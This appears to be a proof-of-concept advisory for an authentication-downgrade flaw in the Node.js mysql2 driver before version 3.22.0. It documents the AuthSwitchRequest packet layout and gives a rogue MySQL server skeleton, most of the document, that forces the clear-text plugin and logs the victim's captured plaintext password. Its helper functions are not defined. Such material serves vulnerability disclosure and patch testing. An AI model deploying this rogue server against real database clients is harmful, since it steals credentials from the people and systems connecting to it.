mysql2: Auth Plugin Downgrade Leaks Plaintext Credentials

// Minimal rogue-server AuthSwitchRequest that triggers the vuln (pre-3.22.0)
// Attacker sends this after the initial handshake to downgrade auth:
//
// Packet layout (raw bytes):
//   [4 bytes] MySQL packet header (length + seq)
//   [1 byte]  0xFE  (AuthSwitchRequest marker)
//   [n bytes] 'mysql_clear_password\0'  (plugin name, null-terminated)
//   [1 byte]  0x00  (empty plugin data)
//
// mysql2 < 3.22.0 executes mysql_clear_password plugin unconditionally:
//   return Buffer.from(password + '\0')  // plaintext credential on the wire
//
// Rogue server skeleton (Node.js net module):
const net = require('net');
net.createServer(socket => {
  // 1. Send MySQL server greeting (caching_sha2_password)
  socket.write(buildServerGreeting('caching_sha2_password'));
  socket.once('data', () => {
    // 2. After client sends hashed response, send AuthSwitchRequest
    //    to mysql_clear_password -- victim driver complies with no TLS check
    const pluginName = Buffer.from('mysql_clear_password\0');
    const payload = Buffer.concat([Buffer.from([0xfe]), pluginName, Buffer.from([0x00])]);
    socket.write(buildPacket(payload, /* seq */ 2));
    socket.once('data', data => {
      // 3. Captured: password in plaintext (null-terminated)
      const password = data.slice(4, -1).toString();
      console.log('Captured plaintext password:', password);
    });
  });
}).listen(3306);